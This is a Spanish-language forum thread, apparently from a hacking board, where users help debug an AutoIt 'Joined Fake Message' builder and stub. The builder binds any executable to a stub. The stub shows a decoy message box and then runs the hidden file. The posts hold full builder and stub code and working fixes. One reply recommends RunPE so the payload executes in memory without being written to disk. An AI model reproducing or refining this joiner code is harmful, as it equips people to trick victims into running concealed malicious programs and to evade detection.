• Otros lenguajes de Scripting

 #421443  por Naker90
 14 Ago 2013, 13:56
Bueno indetectables llevo unos dias leyendo sobre Autoit y he hecho varias cosas simples, Ahora tengo el siguiente problema estoy intentando hacer un cliente/Stub que ejecute un Mensaje falso antes de la ejecucion pero el mensaje me sale en blanco y se me ejecuta el directorio del escritorio.
Aqui les dejo el codigo:
Cliente:
Código: Seleccionar todo
#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.8.1
 Author: Naker90

 Script Function: Joined Fake Message
 Une un mensaje falso antes de la ejecucion de un archivo ejecutable
	

#ce ----------------------------------------------------------------------------
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
Opt("GUIOnEventMode", 1)
$Form1 = GUICreate("Joined Fake Messages By Naker90", 372, 156, -1, -1)
$Button1 = GUICtrlCreateButton("Buscar", 8, 8, 75, 25, $WS_GROUP)
$Input1 = GUICtrlCreateInput("", 88, 8, 273, 21)
$Group1 = GUICtrlCreateGroup("Fake Message", 8, 40, 353, 73)
$Label1 = GUICtrlCreateLabel("Titutlo", 24, 56, 47, 24)
GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
$Input2 = GUICtrlCreateInput("", 72, 56, 281, 21)
$Label2 = GUICtrlCreateLabel("Cuerpo", 16, 80, 56, 24)
GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
$Input3 = GUICtrlCreateInput("", 72, 80, 281, 21)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Button2 = GUICtrlCreateButton("About", 8, 120, 75, 25, $WS_GROUP)
$Button3 = GUICtrlCreateButton("Salir", 288, 120, 75, 25, $WS_GROUP)
$Button4 = GUICtrlCreateButton("Join!", 88, 120, 195, 25, $WS_GROUP)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

GUICtrlSetOnEvent($Button3, "Salir")
GUICtrlSetOnEvent($Button1, "Abrir")
GUICtrlSetOnEvent($Button2, "About")
GUICtrlSetOnEvent($Button4, "Fake")

Func Fake()

$Titulo = GUICtrlRead($Input1)
$Cuerpo = GUICtrlRead($Input2)

$Stub = FileOpen(@DesktopDir & "\Stub.exe", 16)
$Archivo = FileOpen(GUICtrlRead($Input1), 16)
$Key = "[Fake]"

$S = FileRead($Stub)
$A = FileRead ($Archivo)

$Final = FileOpen(FileSaveDialog("Guarde el archivo final", @DesktopDir, "EXE (*.exe)") & ".exe", 18)

FileWrite($Final, $S)
FileWrite($Final, $Key)
FileWrite($Final, $A)
FileWrite($Final, $Key)
FileWrite($Final, $Titulo)
FileWrite($Final, $Key)
FileWrite($final, $Cuerpo)

FileClose($Stub)
FileClose($Archivo)
FileClose($Final)

MsgBox(64, "Joined Fake Message", "Mensaje Unido con Exito!", 10)

endfunc

Func About()
Msgbox (64, "Joined Fake Message", "Codeado por Naker90 en Autoit", 10)   
EndFunc

Func Abrir() 
	GUICtrlSetData($Input1, FileOpenDialog("Eliga un archivo", @DesktopDir, "EXE (*.exe)"))
EndFunc

Func Salir()
   Exit
EndFunc

While 1
	Sleep(1)
WEnd
Stub:
Código: Seleccionar todo
#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.8.1
 Author: Naker90

 Script Function: Stub del Joined Fake Message

#ce ----------------------------------------------------------------------------
#NoTrayIcon
$Stub = FileOpen(@ScriptFullPath, 0)
$S = FileRead($Stub)

Local $sSplit = StringSplit($S, "[Fake]")

;[0] Stub
;[1] Archivo
;[2] Titulo
;[3] Cuerpo del mensaje

$Vector = FileRead($sSplit[2])
$sa = FileRead($sSplit[3])
$Archivo = FileRead($sSplit[1])



Msgbox(64, $Vector, $sa)

ShellExecute($Archivo)
Saludos
 #421448  por Pink
 14 Ago 2013, 16:46
Entonces no has leído el indice de stringsplit empieza en 1.

saludos
 #421449  por Naker90
 14 Ago 2013, 17:42
Gracias por la ayuda Pink, He hecho lo que me dijiste de leer empezando por 1 y no por 0 y sigue igual. Creo que el problema es que no esta leyendo bien los datos ya que el mensaje me sale en blanco.
Cliente:
Código: Seleccionar todo
#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.8.1
 Author: Naker90

 Script Function: Joined Fake Message
 Une un mensaje falso antes de la ejecucion de un archivo ejecutable
	

#ce ----------------------------------------------------------------------------
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#Region ### START Koda GUI section ### Form=
Opt("GUIOnEventMode", 1)
$Form1 = GUICreate("Joined Fake Messages By Naker90", 372, 156, -1, -1)
$Button1 = GUICtrlCreateButton("Buscar", 8, 8, 75, 25, $WS_GROUP)
$Input1 = GUICtrlCreateInput("", 88, 8, 273, 21)
$Group1 = GUICtrlCreateGroup("Fake Message", 8, 40, 353, 73)
$Label1 = GUICtrlCreateLabel("Titutlo", 24, 56, 47, 24)
GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
$Input2 = GUICtrlCreateInput("", 72, 56, 281, 21)
$Label2 = GUICtrlCreateLabel("Cuerpo", 16, 80, 56, 24)
GUICtrlSetFont(-1, 12, 400, 0, "MS Sans Serif")
$Input3 = GUICtrlCreateInput("", 72, 80, 281, 21)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Button2 = GUICtrlCreateButton("About", 8, 120, 75, 25, $WS_GROUP)
$Button3 = GUICtrlCreateButton("Salir", 288, 120, 75, 25, $WS_GROUP)
$Button4 = GUICtrlCreateButton("Join!", 88, 120, 195, 25, $WS_GROUP)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

GUICtrlSetOnEvent($Button3, "Salir")
GUICtrlSetOnEvent($Button1, "Abrir")
GUICtrlSetOnEvent($Button2, "About")
GUICtrlSetOnEvent($Button4, "Fake")

Func Fake()

$Titulo = GUICtrlRead($Input2)
$Cuerpo = GUICtrlRead($Input3)


$Stub = FileOpen(@DesktopDir & "\Stub.exe", 16)
$Archivo = FileOpen(GUICtrlRead($Input1), 16)
$Key = "[Fake]"

$S = FileRead($Stub)
$A = FileRead ($Archivo)

$Final = FileOpen(FileSaveDialog("Guarde el archivo final", @DesktopDir, "EXE (*.exe)") & ".exe", 18)

FileWrite($Final, $S)
FileWrite($Final, $Key)
FileWrite($Final, $A)
FileWrite($Final, $Key)
FileWrite($Final, $Titulo)
FileWrite($Final, $Key)
FileWrite($final, $Cuerpo)
FileWrite($final, $Key)

FileClose($Stub)
FileClose($Archivo)
FileClose($Final)

MsgBox(64, "Joined Fake Message", "Mensaje Unido con Exito!", 10)

endfunc

Func About()
Msgbox (64, "Joined Fake Message", "Codeado por Naker90 en Autoit", 10)   
EndFunc

Func Abrir() 
	GUICtrlSetData($Input1, FileOpenDialog("Eliga un archivo", @DesktopDir, "EXE (*.exe)"))
EndFunc

Func Salir()
   Exit
EndFunc

While 1
	Sleep(1)
WEnd
Stub:
Código: Seleccionar todo
#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.8.1
 Author: Naker90

 Script Function: Stub del Joined Fake Message

#ce ----------------------------------------------------------------------------
#NoTrayIcon

Main()

Func Main()
$Stub = FileOpen(@ScriptFullPath, 0)
$S = FileRead($Stub)

$sSplit = StringSplit($S, "[Fake]")

$Titulo = FileRead($sSplit[3])
$Cuerpo = FileRead($sSplit[4])
$Archivo = FileRead($sSplit[2])

;[1] Stub
;[2] Archivo
;[3] Titulo
;[4] Cuerpo del mensaje

Msgbox(64, $Titulo,  $Cuerpo)

ShellExecute($Archivo)

FileClose($Stub)

EndFunc
Saludos
 #421466  por Pink
 14 Ago 2013, 20:59
que coño es esto

$Titulo = FileRead($sSplit[3])
$Cuerpo = FileRead($sSplit[4])
$Archivo = FileRead($sSplit[2])


:S revisa ;)
 #421482  por Naker90
 14 Ago 2013, 23:21
Pues me he estancando, he probado varias cosas pero siempre me llevan al mismo lugar y no se me ocurre donde puede estar el fallo.
He hecho pocos cambios pero espero que este mejor que antes
Cliente
Stub:
Gracias por tu paciencia Pink
 #421485  por Pink
 15 Ago 2013, 00:14
No probé pero creo que así funcionaria.

#NoTrayIcon

$Stub = FileOpen(@ScriptFullPath, 0)
$S = FileRead($Stub)
FileClose($Stub)
$sSplit = StringSplit($S, "[Fake]",1)

;[1] Stub
;[2] Archivo
;[3] Titulo
;[4] Cuerpo del mensaje

Msgbox (64, $sSplit[3], $sSplit[4])

ShellExecute(@DesktopDir &  "\" & $sSplit[2] & ".exe")
saludos
 #421492  por Naker90
 15 Ago 2013, 01:08
Mil gracias por tu tiempo Pink ya me di cuenta en que falle, una ultima cosa puedes comprobar este code haber si tiene algun error porque me lanza un error diciendo que no encuentra el archivo a ejecutar.
Ya yo lo volvere a mirar mañana despues de unas 10 veces a ver si se me ocurre algo nuevo
Muchas gracias Capo
 #421497  por M3
 15 Ago 2013, 01:49
Naker90 escribió:Mil gracias por tu tiempo Pink ya me di cuenta en que falle, una ultima cosa puedes comprobar este code haber si tiene algun error porque me lanza un error diciendo que no encuentra el archivo a ejecutar.
Ya yo lo volvere a mirar mañana despues de unas 10 veces a ver si se me ocurre algo nuevo
Muchas gracias Capo

El code de Pink esta correcto , para que funcione sin escribir en disco duro , debes canbiar la lhamada a shellexecute por un lhamada a un Runpe , ejemplo :

Código: Seleccionar todo
#NoTrayIcon

$Stub = FileOpen(@ScriptFullPath, 0)
$S = FileRead($Stub)
FileClose($Stub)
$sSplit = StringSplit($S, "Fake",1)


;[1] Stub
;[2] Archivo
;[3] Titulo
;[4] Cuerpo del mensaje

Msgbox (64, $sSplit[3], $sSplit[4])

_Runpe ($sSplit[2])

Pero se quieres que escriba el archivo a disco duro e mantener el shellexecute en el code , lo usas asi :
Código: Seleccionar todo
#NoTrayIcon

$Stub = FileOpen(@ScriptFullPath, 0)
$S = FileRead($Stub)
FileClose($Stub)
$sSplit = StringSplit($S, "Fake",1)
$sArchivoJoined = @DesktopDir & '\Joiner.exe'

;[1] Stub
;[2] Archivo
;[3] Titulo
;[4] Cuerpo del mensaje

Msgbox (64, $sSplit[3], $sSplit[4])

FileWrite($sArchivoJoined ,$sSplit[2])

ShellExecute($sArchivoJoined)
Saludos tios

 #421524  por Naker90
 15 Ago 2013, 14:24
Muchas gracias a los 2, dudas aclaradas pueden cerrar el tema si quieren
Saludos Bros